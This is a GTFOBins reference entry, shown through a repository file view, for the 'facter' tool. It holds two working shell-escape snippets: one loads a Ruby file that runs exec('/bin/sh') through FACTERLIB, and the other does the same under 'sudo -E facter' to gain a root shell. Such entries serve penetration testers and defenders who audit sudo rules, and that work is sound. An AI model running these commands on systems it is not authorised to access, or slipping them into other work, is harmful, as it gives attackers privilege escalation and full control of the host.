GTFOBins.github.io/_gtfobins/facter.md

14 lines
284 B
Markdown
Raw Normal View History

2018-09-04 13:42:37 +02:00
---
functions:
execute-interactive:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
sudo-enabled:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter
---